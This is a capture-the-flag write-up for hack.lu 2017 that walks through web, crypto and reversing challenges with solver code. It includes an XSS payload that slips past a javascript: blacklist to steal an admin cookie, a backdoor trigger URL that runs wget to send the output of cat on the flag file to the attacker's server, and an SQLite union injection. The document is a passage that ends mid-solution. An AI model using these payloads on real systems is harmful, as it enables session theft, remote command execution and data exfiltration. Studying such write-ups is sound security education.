hack.lu 2017

[su_box title=”(Misc, Web) DnSoSecure – by kunte_, utnubu -100 (+ 100)”]

We found this Flag-Submission-Service that is used by the OTHER-SIDE. Try to get it to submit the flag to you![/su_box]

[su_expand title=”solution – Misc, Web”]

View source give us the source of this challenge:

<!-- <a href="/static/source.zip">Source</a> -->

Index file validating the input text and do the secret:

# views.py
...
@app.route('/', methods=['GET', 'POST'])
def index():
    form = DNSServer()
    if form.validate_on_submit():
        ip = correct_dnssec(form.dnsip.data, app.config['DOMAIN'])
        if ip:
            if check_ipv4(ip):
                send_secret(ip, app.config['FLAG'], app.config['PORT'])
            flash('Sending data ... ', 'success')
        else:
            flash('Error!', 'error')
    return render_template('index.html', form=form)
...
# utils.py
...

def correct_dnssec(nsaddr, domain):
    #
    name = dns.name.from_text(domain)
    key = {
        name: dns.rrset.from_text(
            domain, 3600, 'IN', 'DNSKEY',
            '256 3 7 AwEAAeJd3Xyd8l3rWDx46UwPMyLOSVcbuwDgEvt2iEWTAghVbpw5M2YN 0GxUqa6vWI/RAhSynF4fxSvp1z3PnKBFle/Qxz7MzfPgH0spzriWsP8k qjs0Y9/xJU0tzZJ2TrIypdmEqpKtMbs3gRrrADz8pr/AdI7bjvX4r6Oh ty04lG8zyj1wwuWXi/oVfk1rTD9I2aq7SWK9REnueUFRsshMLQK5Vgpo Row0HmrE7Peg59lFFSi54rSJivb/4Tb0P8AtIlIUW0ZZOR9E/MsswWFZ Qw56A0Z5LJK4t8RmV5+vAhflNn/uTSEOpC08vUqkNQbOBXr1Ie/t57H6 ywvsKwEYo9s=',
            '257 3 7 AwEAAdth+HteT0kUim5+hOkyTpMU1FbNfxjn7otvpcA0ZSb/37Tr+WRJ l1nmzHkmrW+gJuzj5M+1QPEv41CujWe8EdGOyA3jM2KENj7NMdiNjh1G puzQa7YFxR4z5SG8+M5zvO5F3CTFWU5tZCTzkvk4Zbs5aJ3RZ6Zk1EBK xwoKz1CGCoedBM1VcKwJ2H+NT15m1cb/AfsSEljTyvruUUiJo84+MRPh luYtPrVKIwnHe6qxvhLSvpG0HFNNkBudy/TOf7C51zmdkpW+3hvbzp/I 79LEuXyYwXft4vpxKNv4zTGOoXNrBAxHcfmvAJsplIzSGcM84yRD+oWm Pu/WF+ESuPv9bmws0hZ2L2+dLpKZjDjb8ppxFS/zJFfWqqErRWssQo64 4lET6m2qET1g22YeB5iLAhVfAmTMZtxnhLqSHJ1EdQIwKm3RJfUsr+z+ Wxb9BZS/P2OSUsSzLOQ7hWjViCE45JMW0gGnMrvSeloAePtvYasfBjaT IDhW2knhKVr2ZoJ6I7pvZBrc/hLB2NGiFaN2otLwIX6InRTT8zrndDY8 uXwVsrBH/4UXy0CIf0PNwjqyFTALSx2DYGW1aU9y0wiZbX5h3msJGRO3 eiHP6QNv+bQJ3f1isMuaAFXT07gcfrAVYT72clU5Nep1Dp6hBfmkfnGT jhiPj16+cfJerrIP'
        )
    }
    request = dns.message.make_query(domain, dns.rdatatype.A, want_dnssec=True)
    try:
        request = dns.query.udp(request, nsaddr, timeout=7)
    except:
        return False
    answer = request.answer
    if len(answer) < 2:
        # dnsserc not supported
        return False
    else:
        try:
            dns.dnssec.validate(answer[0], answer[1], key)
            return str(answer[0].to_rdataset()[0])
        except:
            # dnssec failed
            return False

So this problem is faking DNS and *bypass* the dnssec checker function, after a while trying to crack that public key, i found out that the source contain .git, checkout the branch eddb23375ea4e08c67a63088ea08b4d5fc18a406 give us the private keys and that’s enough to build a dns server for this problem.

[/su_expand]

[su_box title=”(Web, Rev) Triangle – by kunte_ -100 (+ 64)”]

Everything is controlled by the Triangle!

[/su_box]

[su_expand]

It’s just a basic js-only webpage which check login by following function:

function login(){
  var input = document.getElementById('password').value;
  var enc = enc_pw(input);
  var pw = get_pw();
  if(test_pw(enc, pw) == 1){
    alert('Well done!');
  }
  else{
    alert('Try again ...');
  }
}

These methods defined in secret.js, simple deobfucating give us:

function test_pw(e, _) {
    var t = stoh(atob(getBase64Image("eye"))),
        r = 4096,
        m = 8192,
        R = 12288,
        a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    a.reg_write_i32(uc.ARM_REG_R9, m), a.reg_write_i32(uc.ARM_REG_R10, R), a.reg_write_i32(uc.ARM_REG_R8, _.length), a.mem_map(r, 4096, uc.PROT_ALL);
    for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
    a.mem_map(m, 4096, uc.PROT_ALL), a.mem_write(m, stoh(_)), a.mem_map(R, 4096, uc.PROT_ALL), a.mem_write(R, stoh(e));
    var u = r,
        c = r + o1.length;
    return a.emu_start(u, c, 0, 0), a.reg_read_i32(uc.ARM_REG_R5)
}

function enc_pw(e) {
    var _ = stoh(atob(getBase64Image("frei"))),
        t = 4096,
        r = 8192,
        m = 12288,
        R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    R.reg_write_i32(uc.ARM_REG_R8, r), R.reg_write_i32(uc.ARM_REG_R9, m), R.reg_write_i32(uc.ARM_REG_R10, e.length), R.mem_map(t, 4096, uc.PROT_ALL);
    for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
    R.mem_map(r, 4096, uc.PROT_ALL), R.mem_write(r, stoh(e)), R.mem_map(m, 4096, uc.PROT_ALL);
    var o = t,
        u = t + o2.length;
    return R.emu_start(o, u, 0, 0), htos(R.mem_read(m, e.length))
}

function get_pw() {
    for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
    return _
}

So both test_pw and enc_pw use Unicorn to emulate some ARM code, obtaining these memory images and load into IDA give us:

[su_spoiler title=”test_pw assembly” icon=”arrow”]

ROM:00000000 sub_0
ROM:00000000                 MOV             R0, R9
ROM:00000004                 MOV             R1, R10
ROM:00000008                 MOV             R3, R8
ROM:0000000C                 MOV             R4, #0
ROM:00000010                 MOV             R5, #0
ROM:00000014                 MOV             R12, #0
ROM:00000018
ROM:00000018 loop                                    ; CODE XREF: sub_0+4C↓j
ROM:00000018                 LDRB            R2, [R0]
ROM:0000001C                 LDRB            R6, [R1]
ROM:00000020                 ADD             R6, R6, #5
ROM:00000024                 AND             R12, R4, #1
ROM:00000028                 CMP             R12, #0
ROM:0000002C                 BEQ             r4_le
ROM:00000030                 SUB             R6, R6, #3
ROM:00000034
ROM:00000034 r4_le                                   ; CODE XREF: sub_0+2C↑j
ROM:00000034                 CMP             R2, R6
ROM:00000038                 BNE             fail
ROM:0000003C                 ADD             R0, R0, #1
ROM:00000040                 ADD             R1, R1, #1
ROM:00000044                 ADD             R4, R4, #1
ROM:00000048                 CMP             R4, R3
ROM:0000004C                 BLT             loop
ROM:00000050                 MOV             R5, #1
ROM:00000054
ROM:00000054 fail                                    ; CODE XREF: sub_0+38↑j
ROM:00000054                 MOV             R0, #0
ROM:00000058                 MOV             R1, #0
ROM:0000005C                 MOV             R2, #0
ROM:00000060                 MOV             R3, #0
ROM:00000064                 MOV             R4, #0
ROM:00000068                 MOV             R6, #0
ROM:0000006C                 MOV             R7, #0
ROM:00000070                 MOV             R8, #0
ROM:00000074                 MOV             R9, #0
ROM:00000078                 MOV             R10, #0
ROM:0000007C                 MOV             R12, #0
ROM:0000007C ; End of function sub_0

[/su_spoiler]

[su_spoiler title=”enc_pw assembly” icon=”arrow”]

ROM:00000000 sub_0
ROM:00000000                 MOV             R0, R8
ROM:00000004                 MOV             R1, R9
ROM:00000008                 MOV             R2, R10
ROM:0000000C                 MOV             R3, #0
ROM:00000010                 MOV             R5, #0
ROM:00000014
ROM:00000014 loop                                    ; CODE XREF: sub_0+44↓j
ROM:00000014                 LDRB            R4, [R0]
ROM:00000018                 CMP             R5, #1
ROM:0000001C                 BNE             r4_branch
ROM:00000020                 AND             R6, R3, #3
ROM:00000024                 ADD             R4, R4, R6
ROM:00000028
ROM:00000028 r4_branch                               ; CODE XREF: sub_0+1C↑j
ROM:00000028                 ADD             R4, R4, #6
ROM:0000002C                 AND             R5, R4, #1
ROM:00000030                 STRB            R4, [R1]
ROM:00000034                 ADD             R0, R0, #1
ROM:00000038                 ADD             R1, R1, #1
ROM:0000003C                 ADD             R3, R3, #1
ROM:00000040                 CMP             R3, R2
ROM:00000044                 BLT             loop
ROM:00000048                 MOV             R0, #0
ROM:0000004C                 MOV             R1, #0
ROM:00000050                 MOV             R2, #0
ROM:00000054                 MOV             R3, #0
ROM:00000058                 MOV             R4, #0
ROM:0000005C                 MOV             R5, #0
ROM:00000060                 MOV             R6, #0
ROM:00000064                 MOV             R7, #0
ROM:00000068                 MOV             R9, #0
ROM:0000006C                 MOV             R10, #0
ROM:0000006C ; End of function sub_0

[/su_spoiler]

Rewrite these functions using php:

<?php
function test_pw($e, $p) {
  for($i=0;$i<strlen($p);$i++) {
    if (ord($e[$i]) !== ord($p[$i]) - (($i%2)?2:5)) return false; 
  }
  return true;
}

function enc_pw($p) {
  $len = strlen($p);
  $last_is_odd = 0;
  $res = "";
  for($i=0;$i<$len;$i++) {
    $c = ord($p[$i]) + (($last_is_odd)?($i%4):(0)) + 6;
    $res .= chr($c);
    $last_is_odd = $c % 2;
  };
  return $res;
}
?>

Then it’s easy to revert these functions:

<?php
function get_pw_from_test($p){
  $r = "";
  for($i=0;$i<strlen($p);$i++) {
    $r.=chr(ord($p[$i]) - (($i%2)?2:5));
  }
  return $r;
}
function dec_pw($p) {
  $r = "";
  for($i=strlen($p)-1;$i>=0;$i--){
    $last_is_odd = $i>0 && ord($p[$i-1]) % 2;
    $r = chr(ord($p[$i]) - 6 - ($last_is_odd?($i%4):0)).$r;
  }
  return $r;
}
?>

And then it’s easy to get the code:

<?php
$enc_pass = get_pw_from_test(get_pw());
var_dump(test_pw($enc_pass, get_pw()));
$pass = dec_pw($enc_pass);
var_dump(enc_pw($pass)==$enc_pass);
var_dump($pass, $enc_pass);
?>

[su_box title=”CODE”]MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ[/su_box]

[/su_expand]

[su_box title=”(Web) Mistune – by kunte_ -150 (- 18)”]Markdown parsers are fun. Now click here and steal the cookie![/su_box]

[su_expand]

It’s a markdown-rendering service which we can test output of their internal markdown renderer and can submit messages to admin using markdown.

 

[su_quote cite=”DnSoSecure – hacklu 2017″]Try to steal the cookie!

We use mistune.Renderer(escape=True, hard_wrap=True)

The admin will look at your converted Markdown.

The admin will click on links (<a/>). [/su_quote]

So this problem is definitely XSS and require us to obtain cookie of admin. Finding source of mistune give us

# https://github.com/lepture/mistune/blob/master/mistune.py
...
_scheme_blacklist = ('javascript:', 'vbscript:')
...
def escape_link(url):
    """Remove dangerous URL schemes like javascript: and escape afterwards."""
    lower_url = url.lower().strip('\x00\x1a \n\r\t')
    for scheme in _scheme_blacklist:
        if lower_url.startswith(scheme):
            return ''
    return escape(url, quote=True, smart_amp=False)

So javascript: scheme urls will be black out, but we can easily bypass that by using carriage return character "javascript\r:document.location.href=(...)+document.cookie", and then just wait for the flag, we can input that carriage return by running command in console:

$("textarea").replaceWith($('<input type="hidden" name="text"/>').val('[link](javascript\r:document.location.href=(...)+document.cookie)'))

[/su_expand]

[su_box title=”(Crypto) b64 – by Sceptic -100 (+ 66)”]

Taking part in elite, exclusive groups entails being able to hide secrets from the lesser folk and only provide it to the gifted. Our intern recently proposed a solution to do just that.

nc flatearth.fluxfingers.net 1718

Download
[/su_box]

[su_expand]

Problem source:

#!/usr/bin/python2

import flag from flag
from base64 import b64decode
from SocketServer import ThreadingTCPServer
from sys import argv
from binascii import hexlify, unhexlify
import SocketServer
import os

N = 8
MAX_TRIES = 1024
PAD = 64

welcome = "Welcome! :-)\n"
menu = "What would you like to do:\n\t1: supply encoded input,\n\t2: tell me my secret\n> "

def gen_secret():
    return os.urandom(N)

def crypt(s1, s2):
    return "".join(map(lambda c: chr(((ord(c[0])^ord(c[1]))+PAD)%256), zip(s1,s2)))

b64chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"
def decode(s, secret):
    enc = ""
    s = crypt(s, secret)
    
    for c in s:
        if c in b64chars:
            enc+=c

    if len(enc) % 4 == 1:
        enc = enc[:-1]

    while len(enc) % 4 != 0:
        enc+="="

    return b64decode(enc)

class B64Handler(SocketServer.BaseRequestHandler):
    def setup(self):
        self.tries = 0
        self.secret = gen_secret()

    def handle(self):
        self.request.send(welcome)
        for i in range(MAX_TRIES):
            self.request.send("Round number: {}\n{}".format(i, menu))
            if self.request.recv(2)[0] == "1":
                self.request.send("What would you like me to decode?\n> ")
                answer = self.request.recv(len(self.secret))
                decoded = decode(answer, self.secret)
                self.request.send("Alright, here is your answer: {}\n".format(decoded))

            else:
                self.request.send("Alright, what is my secret (hex encoded)?\n> ")
                answer = self.request.recv(2*len(self.secret)+1).rstrip()
                if answer==hexlify(self.secret):
                    self.request.send("Well done, here is your flag: {}\n".format(flag))
                else:
                    self.request.send("This was not what I was looking for. :-(\n")
                break

        self.request.send("Bye!\n")

def main():
    SocketServer.ThreadingTCPServer.allow_reuse_address = True
    if len(argv) < 2:
        print("Usage: {} <PORT>".format(argv[0]))
    else:
        LOCAL_PORT = int(argv[1])
        s = SocketServer.ThreadingTCPServer(("", LOCAL_PORT), B64Handler)
        try:
            s.serve_forever()
        except KeyboardInterrupt:
            print("shutting down")
            s.shutdown()
            s.socket.close()

if __name__ == "__main__":
    main()

For each new session, the server create a new random message, allow us to decode MAX_TRIES message with provided crypt function and then filter only base64 compatible characters into a new string, remove the last character if that string length divide 4 remain 1, and finally base64-decode that string.

We can easily findout the secret message by enumerating each byte, except for byte 0 and 4 we need to enumerate 2 bytes, but only enumerating the 4 MSBs are enough, so 1 + 256*2 + 16*6 = 609 tries in worst case, which’s very enough.

#!/usr/bin/python                                                               
import struct                                                                   
import socket                                                                   
import telnetlib                                                                
import sys, time
import base64                                                   
import string
import re
import random
from binascii import hexlify, unhexlify
import itertools

def recv_utils(s,r,ss):
  while all([not(sss in r) for sss in ss]):
    sa = s.recv(4096)
    r += sa
  return r


def check(ss):
  s.send("1\n")
  recv_utils(s, '', ['What would you like me to decode'])
  s.send(ss)
  ans = recv_utils(s, '', ['Alright, here is your answer: '])
  r = re.search(r'here is your answer: (.*?)\n', ans)
  r = r.group(1)
  return base64.b64encode(r).rstrip('=')

def decrypt(e, s):
  return "".join(map(lambda c: chr(((((ord(c[0])+256-64)%256)^ord(c[1])))%256), zip(e,s)))

while True:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  s.connect(('flatearth.fluxfingers.net', 1718)) 

  if len(check("\x00"*8)) and len(check("\x01"*8)) > 0:
    s.close()
    continue
    
  buf = ["\x00"] * 8
  ss = True
  i = 0
  while i < 8:
    print "Check %d" % (i)
    nlen = 2 if (i%4)==0 else 1
    ssfail = 0
    for ntry in range(16**nlen):
      sys.stdout.write(str(ntry%10))
      sys.stdout.flush()
      if nlen == 1:
        buf[i] = chr(ntry*16+1)
      else:
        buf[i  ] = chr((ntry//16)*16+1)
        buf[i+1] = chr((ntry%16)*16+15-1)
      chk = check("".join(buf))
      if len(chk)<i:
        sys.stdout.write('.')
        sys.stdout.flush()
        continue
      if len(chk)>=i+nlen:
        break
      else:
        ssfail += 1
    print
    if ssfail == 16**nlen:
      ss = False
      break
    i += nlen
  
  if not(ss):
    s.close()
    continue
  
  buf = "".join(buf)
  enc = check(buf)
  print 'buf = ', buf.encode("hex")
  print 'enc = ', enc.encode("hex")
  x = decrypt(enc, buf)
  print 'x = ', x
  s.send("2\n" + hexlify(x)+"\n")
  r = recv_utils(s, '', ['flag', 'looking for'])
  print r
  if 'flag' in r:
    break

[/su_expand]

[su_box title=”(Crypto) prime enigma – by midao – 50 (+ 100)”]

Hey there fellow lizard how nice of you to drop by! Did you know those filthy humans really think that some numbers have special meanings? Seven, 13 and for some strange reason even 9000. Go and show them that a good prime does not make a secure cryptosystem!

Link

[/su_box]

[su_expand]

This problem encrypt message by using some big exponent as private key, provide us the cipher message and a hint number.

from secret import flag, key

f = open('ciphertext.txt', 'w')

p = 104438888...4758453247 # 1234 characters number
g = 5
A = 102631253....429994312 # 1234 characters number
d = key
m = int(flag.encode('hex'), 16) % p

B = pow(g, d, p)
k = pow(A, d, p)
c = k * m % p

f.write(str(B) + '\n')
f.write(str(c) + '\n')

f.close()

Looking at ciphertext.txt show that B == p - 1, so g^d = -1 mod p, so d maybe (p-1)/2, just try it and that give us the flag:

#!/usr/bin/python

from fractions import gcd
B = 1044388881413152506679602719846529545831269060992135009022588756444338172022322690710444046669809783930111585737890362691860127079270495454517218673016928427459146001866885779762982229321192368303346235204368051010309155674155697460347176946394076535157284994895284821633700921811716738972451834979455897010306333468590751358365138782250372269117968985194322444535687415522007151638638141456178420621277822674995027990278673458629544391736919766299005511505446177668154446234882665961680796576903199116089347634947187778906528008004756692571666922964122566174582776707332452371001272163776841229318324903125740713574141005124561965913888899753461735347970011693256316751660678950830027510255804846105583465055446615090444309583050775808509297040039680057435342253926566240898195863631588888936364129920059308455669454034010391478238784189888594672336242763795138176353222845524644040094258962433613354036104643881925238489224010194193088911666165584229424668165441688927790460608264864204237717002054744337988941974661214699689706521543006262604535890998125752275942608772174376107314217749233048217904944409836238235772306749874396760463376480215133461333478395682746608242585133953883882226786118030184028136755970045385534758453246
p = 1044388881413152506679602719846529545831269060992135009022588756444338172022322690710444046669809783930111585737890362691860127079270495454517218673016928427459146001866885779762982229321192368303346235204368051010309155674155697460347176946394076535157284994895284821633700921811716738972451834979455897010306333468590751358365138782250372269117968985194322444535687415522007151638638141456178420621277822674995027990278673458629544391736919766299005511505446177668154446234882665961680796576903199116089347634947187778906528008004756692571666922964122566174582776707332452371001272163776841229318324903125740713574141005124561965913888899753461735347970011693256316751660678950830027510255804846105583465055446615090444309583050775808509297040039680057435342253926566240898195863631588888936364129920059308455669454034010391478238784189888594672336242763795138176353222845524644040094258962433613354036104643881925238489224010194193088911666165584229424668165441688927790460608264864204237717002054744337988941974661214699689706521543006262604535890998125752275942608772174376107314217749233048217904944409836238235772306749874396760463376480215133461333478395682746608242585133953883882226786118030184028136755970045385534758453247
g = 5
A = 1026312539297800437474663698165859314949881437729617621666434357798219198741950468733395500361477359726152747087790103309627020498122003777642051150130697457594304849673838709900017711265818285080832347734747895550397950729716624922572654209637755195129162139245110756558638081495998280747642920484467428206475906559638681536868548289456924005274209311355030582255692087426910634838198143851507435754029135363794578075936092774722678311786272841489629294721103591751528609388061794369341067986401129462942050916582521451289187645626081017578576190303952351748434876686541368607656026867091583868645619423975306245327421218767449273192101105293424028461698783545171866070124432565063559495566733441286372612161876492134408160732339966921175762866198980795890946054558528891296203285979664329713156129091098226212735763844909789916934266711879564086741733061623347281499025678164709559814150194881622611023214199434022258730549350019749882889143749385314934896284396513061241138504029046053964944026179039768718830854958634216721133676746317913559932277050177463811150719675119168868527853864167729206220819613297736800799391257602899169041109002518019207734013899840092155297682096290489330476118066934735827328128343402508975429994312

m = 626538023179183383530326775878874061243537575637678230775990839517480703838547661223043351239918394865532739593994849154430591305198322288328417436892902443505917379006443598061697092201021536603987285163299838045075649512028921956548205676208712226470308113290505059049053554206416767772651512039632936795232724801922443388952796545084060280910673215063573749033668717290815841834685051547255093401042248880082370281195663905731764841136214458769095907569163184276786105979509363239839613385785232307550226120692268670717158539363476974302593377514937470953649913863219081380729197866499068054753726732556988368232198510160183731571741889761632557457157261911256679728707526809880224074940827825962124087677609578885077944156589121586951372962667391498824853627326311588259929756093569512874696625507873168095797130866697040006079191565592914811736694534863664544646201900855732710994613768016495896341014229622129847800138058041138449691835652916517559125407914079964177419733079221280850917496784527992741048638603428068452948455069671414667008770873913118369984179054902139270844669700487715140145038503768704763641223894377872853332484296603268546135216483844722413025955229649646292980986542646384960063297213437076185709400450

def xgcd(b, n):
  x0, x1, y0, y1 = 1, 0, 0, 1
  while n != 0:
    q, b, n = b // n, n, b % n
    x0, x1 = x1, x0 - q * x1
    y0, y1 = y1, y0 - q * y1
  return  b, x0, y0

ainv = xgcd(A, p)[1]
print (A*ainv % p)
print (p - B)

assert(pow(g, (p-1)/2, p) == p-1)

d = (p-1)/2
m = m * pow(ainv, d, p) % p

print hex(m)[2:-1].decode("hex")

[su_box title=”INFO” box_color=”#dbfcfb”]flag{If you whistle while you’re pissing, you have two minds, where one is quite sufficient. If you have two minds, you are at war with yourself. If you are at war with yourself, it is easy for an external force to defeat you. This is why Mong-tse wrote. ‘A man must destroy himself before others can destroy him.’ | Lorem ipsum dolor sit amet, consectetur adipisici elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamaco laboris nisi …} [/su_box]

[/su_expand]

[su_box title=”(Crypto) salsa – by SLAZ – 200 (+ 15)”]

The Flat Earth Society has a secret information storage. There is enough evidence in it, to convince every member of them, that the earth is round. Unfortunately, we don’t have the key …
nc flatearth.fluxfingers.net 1721

Download

[/su_box]

[su_expand]

This problem provide an encryption named salsa20, send the message with flag encrypted, and allow us to encrypt 8192 bytes of data.

KEY = os.urandom(32)

class TCPHandler(asyncore.dispatcher_with_send):

    def __init__(self, socket):
        asyncore.dispatcher_with_send.__init__(self, socket)
        self.Nonce = os.urandom(8)
        self.MsgCounter = 0
        self.sendMessage("Hello my dear friend, the flag is %s!" % FLAG)

    def sendMessage(self, data):
        text = base64.b64encode(data)
        for i in range(0, len(text), 128):
            msg = {"cnt" : self.MsgCounter, "data" : text[i: i+128]}
            msgtext = json.dumps(msg)
            encdata = salsa20.s20_crypt(KEY, self.Nonce, self.MsgCounter, msgtext)
            self.MsgCounter += 1
            self.send(encdata)

    def handle_read(self):
        data = self.recv(8192)
        if data:
            self.sendMessage(data)

Bellowing is the main implementation of the encryption:

def s20_crypt(key, nonce, si, data):
    key = [ord(c) for c in key]
    nonce = [ord(c) for c in nonce]
    
    n = [0] * 16

    for i in range(8):
        n[i] = nonce[i]

    if (si % 64) != 0:
        b0, b1, b2, b3 = s20_rev_littleendian(si / 64)
        n[8] = b0
        n[9] = b1
        n[10] = b2
        n[11] = b3

        keystream = s20_expand32(key, n)
        print "x", ''.join(map(chr, keystream)).encode("hex")

    outp = ""

    for i, c in enumerate(data):
        if ((si+i) % 64) == 0:
            b0, b1, b2, b3 = s20_rev_littleendian((si+i) / 64)
            n[8] = b0
            n[9] = b1
            n[10] = b2
            n[11] = b3

            keystream = s20_expand32(key, n)
            print "y", ''.join(map(chr, keystream)).encode("hex")

        outp += chr(ord(c) ^ keystream[(si+i) % 64])

    return outp

It clearly shows us that this encryption is just xor the input buffer with a keystrem, and that keystream is shifted by one for each new cryption (controlled by si).

C1 = M1 xor Keystream1
C2 = M2 xor Keystream2
Keystream2 = Keystream1[1:]

So,

M1[1:] = C1[1:] xor Keystream1[1:]
       = C1[1:] xor Keystream2
       = C1[1:] xor C2 xor M2

That’s enough to code the solver:

#!/usr/bin/python                                                               
import struct                                                                   
import socket                                                                   
import telnetlib                                                                
import sys, time                                                           
import string, base64, json
import re
import salsa20

def sxor(s1,s2):    
  return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))

def recv_utils(s,r,ss):
  while all([not(sss in r) for sss in ss]):
    sa = s.recv(4096)
    #print sa
    r += sa
  return r

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(('flatearth.fluxfingers.net', 1721))

keybuf = s.recv(4096)

print len(keybuf), keybuf.encode('hex')

s.send('\x00' * 8192)
abuf = ''
while len(abuf) < 8192:
  abuf += s.recv(409600)

print abuf.encode('hex')

msg = {"cnt" : 1, "data" : "A"*128}
msgtext = json.dumps(msg)
print sxor(sxor(keybuf[1:], abuf[:]), msgtext)

#kk = "AAAAAAAAAAAAAAAAAAAAAAA" * 10
#encdata1 = salsa20.s20_crypt("\xBB"*32, "\xAA"*8, 0, "hello world | xyz | abc" * 10)
#encdata2 = salsa20.s20_crypt("\xBB"*32, "\xAA"*8, 2, kk)
#
#print '-', len(encdata1), encdata1.encode('hex')
#
#print sxor(sxor(encdata1[2:], encdata2[:]), kk)

[/su_expand]

[su_box title=”(Web, Pwn) Indianer – by hasiH451 – 200 (+ 36)”]

Try to enter this Tipi

Download

[/su_box]

[su_expand]

The archive provide us a shared file backdoor.so, which override strlen function:

__int64 __fastcall strlen(const char *s_1)
{
  size_t slen; // rsi
  __int64 result; // rax
  char *shell_buf; // rax
  signed int i; // [rsp+1Ch] [rbp-134h]
  __int64 (__fastcall *old_strlen)(const char *, const char *); // [rsp+20h] [rbp-130h]
  char *v6; // [rsp+28h] [rbp-128h]
  char *v7; // [rsp+30h] [rbp-120h]
  char *s; // [rsp+38h] [rbp-118h]
  char *sa; // [rsp+38h] [rbp-118h]
  char needle[256]; // [rsp+40h] [rbp-110h]
  char v11; // [rsp+140h] [rbp-10h]
  unsigned __int64 v12; // [rsp+148h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  old_strlen = (__int64 (__fastcall *)(const char *, const char *))dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "strlen");
  if ( !strcmp("GET", s_1) )
    ++trigger;
  slen = (size_t)"ndex.html";
  v7 = strstr(s_1, "ndex.html");
  if ( v7 && apr_hook_debug_enabled )
  {
    apr_hook_debug_enabled >>= 8;
    *(v7 - 1) += apr_hook_debug_enabled;
    apr_hook_debug_enabled = 0;
    counter = 0;
    result = old_strlen(s_1, "ndex.html");
  }
  else
  {
    memset(needle, 0, sizeof(needle));
    v11 = 0;
    for ( i = 0; i <= 511; i += 9 )
    {
      slen = (unsigned int)(((g_idx[0] & 1) + i) % 24 + 'a');
      needle[i % 35] = ((g_idx[0] & 1) + i) % 24 + 'a';
    }
    needle[g_idx[0]] = 0;
    if ( trigger & 1 )
    {
      ++g_idx[0];
      if ( counter <= 1 )
        ++counter;
      if ( g_idx[0] > 1u )
      {
        slen = old_strlen(s_1, (const char *)slen);
        s = (char *)memmem(s_1, slen, needle, 34uLL);
        if ( s )
        {
          *s = 0;
          shell_buf = &s[strlen(needle)];
          sa = shell_buf + 1;
          if ( *shell_buf == '=' )
          {
            while ( 1 )
            {
              slen = '_';
              v6 = strchr(sa, '_');
              if ( !v6 )
                break;
              *v6 = ' ';
            }
            apr_hook_debug_enabled = system(sa);
          }
        }
      }
    }
    if ( counter > 1 )
      counter = 0;
    result = old_strlen(s_1, (const char *)slen);
  }
  return result;
}

So we can trigger the backdoor by first including ndex.html in the url, in order to execute apr_hook_debug_enabled = system(sa); line, all the parent if must be satisfied:

if ( trigger & 1 )

trigger is an increasing number, so this will trigger once every 2 requests.

if ( g_idx[0] > 1u )

g_idx[0] is also an increasing number whenever the first if is satisfied.

slen = old_strlen(s_1, (const char *)slen);
s = (char *)memmem(s_1, slen, needle, 34uLL);
if ( s )

so it will search for all 34 bytes of needle,

if ( *shell_buf == '=' )

check if that buffer continues with =,

while ( 1 )
{
  slen = '_';
  v6 = strchr(sa, '_');
  if ( !v6 )
    break;
  *v6 = ' ';
}
apr_hook_debug_enabled = system(sa);

replace all _ with space   and then execute that buffer.

So let’s calculate the needle at that state:

#include <iostream>

using namespace std;
int main(int argc, char *argv[]) {
  char needle[256];
  char g_idx[1] = {35};
  memset(needle, 0, sizeof(needle));
  for (int i = 0; i <= 511; i += 9 )
  {
    needle[i % 35] = ((g_idx[0] & 1) + i) % 24 + 97;
  }
  needle[g_idx[0]] = 0;
  cout << needle << endl;
}

Which give us

[su_box title=”needle” box_color=”#000000″]eqeqeqbnbnbnbnbkwkwkwkwhththththqeq[/su_box]

And then finally we can start netcat on our server and use wget to send commands output to our server:

file_get_contents('https://indianer.flatearth.fluxfingers.net/ndex.html');
for($i=0;$i<40;$i++) {
  echo file_get_contents('https://indianer.flatearth.fluxfingers.net/eqeqeqbnbnbnbnbkwkwkwkwhththththqeq=wget_http://$server:$port/`'.str_replace(' ','_','cat /var/www/flag.txt').'`');
}

[/su_expand]

[su_box title=”(Misc, Web) flatscience – by Staubfinger – 100 (+ 90)”]

The Professor on Flat Earth is Prof. Flux Horst. Only for bragging he made his own Blog showcasing his favorite Papers. Beeing the only Professor, he thinks he is the smartest Person arround the Plate. Can you proof him wrong and log into his Admin-Panel?
Link

[/su_box]

[su_expand]

robots.txt provides us:

User-agent: *
Disallow: /login.php
Disallow: /admin.php

The login.php source contain:

<!-- TODO: Remove ?debug-Parameter! -->

So let’s try appending ?debug to that file, which show us the source code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>


<div align=right class=lastmod>
Last Modified: Fri Mar  31:33:7 UTC 1337
</div>

<h1>Login</h1>

Login Page, do not try to hax here plox!<br>


<form method="post">
  ID:<br>
  <input type="text" name="usr">
  <br>
  Password:<br> 
  <input type="text" name="pw">
  <br><br>
  <input type="submit" value="Submit">
</form>

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');

        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

        if(isset($row['id'])){
                setcookie('name',' '.$row['name'], time() + 60, '/');
                header("Location: /");
                die();
        }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->

That’s clearly sqlite injection, we can obtain the schema by

usr=' union select 1,(select sql from sqlite_master limit 1)--&pw=
